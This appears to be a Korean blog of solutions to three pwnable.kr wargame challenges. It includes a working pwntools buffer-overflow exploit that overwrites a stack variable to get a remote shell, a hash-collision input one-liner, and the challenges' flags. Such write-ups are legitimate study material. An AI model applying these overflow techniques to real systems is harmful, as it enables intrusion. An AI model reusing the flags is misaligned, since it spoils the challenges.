Download : http://pwnable.kr/bin/flag


This is reversing task. all you need is binary



리버싱 문제입니다.




exeinfope.exe 로 확인해 보면 upx로 패킹이 되어있다고 하네요.



분석을 위해서 언패킹을 진행합니다.


>>>>./upx -d ./flag

                       Ultimate Packer for eXecutables

                          Copyright (C) 1996 - 2017

UPX 3.94w       Markus Oberhumer, Laszlo Molnar & John Reiser   May 12th 2017


        File size         Ratio      Format      Name

   --------------------   ------   -----------   -----------

    883745 <-    335288   37.94%   linux/amd64   flag


Unpacked 1 file.



IDA로 깝니다.




strings들을 확인해보니 바로 플래그가 보이네요.




FLAG : UPX...? sounds like a delivery service :)

반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
pwnable.kr [fd] 풀이  (0) 2018.02.25
반응형

bof - 5 pt [writeup] 

Nana told me that buffer overflow is one of the most common software vulnerability. 

Is that true?


Download : http://pwnable.kr/bin/bof

Download : http://pwnable.kr/bin/bof.c


Running at : nc pwnable.kr 9000



두개 모두 다운로드를 합시다.



bof.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}



func()에서 key = 0xdeadbeef를 key = 0xcafebabe 로 바꿔주면 쉘을 띄워주네요.


gets함수를 통해서 입력을 받는데, 입력값의 길이를 제한하지 않으므로 overflowme[32] 32바이트를 넘겨서 key값을 덮어 쓸 수 있습니다.


그럼 key[4] 와 overflowme[32] 사이의 거리를 구해야 합니다.

다운받은 바이너리를 gdb로 분석하겠습니다.



mandu@mandu-VirtualBox:~/Downloads$ gdb -q bof

Reading symbols from bof...(no debugging symbols found)...done.

(gdb) set disassembly-flavor intel

(gdb) disas func

Dump of assembler code for function func:

   0x0000062c <+0>: push   ebp

   0x0000062d <+1>: mov    ebp,esp

   0x0000062f <+3>:   sub    esp,0x48

   0x00000632 <+6>: mov    eax,gs:0x14

   0x00000638 <+12>: mov    DWORD PTR [ebp-0xc],eax

   0x0000063b <+15>: xor    eax,eax

   0x0000063d <+17>: mov    DWORD PTR [esp],0x78c

   0x00000644 <+24>: call   0x645 <func+25>

   0x00000649 <+29>: lea    eax,[ebp-0x2c]

   0x0000064c <+32>: mov    DWORD PTR [esp],eax

   0x0000064f <+35>: call   0x650 <func+36>

   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe

   0x0000065b <+47>: jne    0x66b <func+63>

   0x0000065d <+49>: mov    DWORD PTR [esp],0x79b

   0x00000664 <+56>: call   0x665 <func+57>

   0x00000669 <+61>: jmp    0x677 <func+75>

   0x0000066b <+63>: mov    DWORD PTR [esp],0x7a3

   0x00000672 <+70>: call   0x673 <func+71>

   0x00000677 <+75>: mov    eax,DWORD PTR [ebp-0xc]

   0x0000067a <+78>: xor    eax,DWORD PTR gs:0x14

   0x00000681 <+85>: je     0x688 <func+92>

   0x00000683 <+87>: call   0x684 <func+88>

   0x00000688 <+92>: leave  

   0x00000689 <+93>: ret    

End of assembler dump.



   0x00000654 <+40>: cmp    DWORD PTR [ebp+0x8],0xcafebabe


key는 [ebp+0x8]에 있습니다.


심볼이 다 날라가서 함수명을 알 수는 없지만, 소스를 보았을 때 첫번째 call은 printf이고 두번째 call은 gets임을 알 수 있습니다.


따라서 overflowme[32]의 위치는 


   0x00000649 <+29>: lea    eax,[ebp-0x2c]

   0x0000064c <+32>: mov    DWORD PTR [esp],eax

   0x0000064f <+35>: call   0x650 <func+36>


[ebp-0x2c] 일 것입니다.


스택구조를 나타내보면, 


낮은주소

overflowme[32]

dummy[12]

ebp+ret[8]

key[4]

높은주소


이렇게 됩니다. 그럼 페이로드는 dummy[52] + key[4](0xcafebabe) 가 되겠네요.



1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
 
= remote("pwnable.kr"9000)
 
payload = "D"*52 + "\xbe\xba\xfe\xca"
 
r.sendline( payload )
r.sendline('ls')
print(r.recv())
r.sendline('cat flag')
print(r.recv())
r.close()
cs



mandu@mandu-VirtualBox:~/project/pwnkr$ python bof.py 

[+] Opening connection to pwnable.kr on port 9000: Done

bof

bof.c

flag

log

log2

super.pl


daddy, I just pwned a buFFer :)


[*] Closed connection to pwnable.kr port 9000



FLAG : daddy, I just pwned a buFFer :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [collision] 풀이  (0) 2018.02.25
pwnable.kr [fd] 풀이  (0) 2018.02.25
반응형



ssh col@pwnable.kr -p2222 (pw:guest) 으로 접속합니다.



col@ubuntu:~$ ls -l

total 16

-r-sr-x--- 1 col_pwn col     7341 Jun 11  2014 col

-rw-r--r-- 1 root    root     555 Jun 12  2014 col.c

-r--r----- 1 col_pwn col_pwn   52 Jun 11  2014 flag


col.c를 보겠습니다.



col@ubuntu:~$ cat col.c

#include <stdio.h>

#include <string.h>

unsigned long hashcode = 0x21DD09EC;

unsigned long check_password(const char* p){

int* ip = (int*)p;

int i;

int res=0;

for(i=0; i<5; i++){

res += ip[i];

}

return res;

}


int main(int argc, char* argv[]){

if(argc<2){

printf("usage : %s [passcode]\n", argv[0]);

return 0;

}

if(strlen(argv[1]) != 20){

printf("passcode length should be 20 bytes\n");

return 0;

}


if(hashcode == check_password( argv[1] )){

system("/bin/cat flag");

return 0;

}

else

printf("wrong passcode.\n");

return 0;

}



먼저 main함수를 보면, argv[1]의 길이가 20바이트이어야 함을 알 수 있습니다.


hashcode == check_password( argv[1] ) 이면 flag를 얻을 수 있네요.



check_password()가 하는 일을 봅시다.


20바이트 입력값을  4바이트씩 쪼개서 5개를 모두 더합니다.

만약 입력값이 \x11112222333344445555 이라면 \x1111+\x2222+\x3333+\x4444+\x5555 = res 가 되는겁니다.


res의 값이 0x21DD09EC 이 되어야 하므로
0x01010101 4개에 나머지 필요한값 하나 (= 0x21DD09EC - 0x01010101*4 = 1DD905E8) 로 하겠습니다.

./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`



col@ubuntu:~$ ./col `python -c 'print "\x01\x01\x01\x01"*4+"\xE8\x05\xD9\x1D"'`

daddy! I just managed to create a hash collision :)


반응형

'WAR GAME > Pwnable.kr' 카테고리의 다른 글

pwnable.kr [random] 풀이  (0) 2018.02.26
pwnable.kr [passcode] 풀이  (0) 2018.02.26
pwnable.kr [flag] 풀이  (0) 2018.02.26
pwnable.kr [bof] 풀이  (1) 2018.02.26
pwnable.kr [fd] 풀이  (0) 2018.02.25

+ Recent posts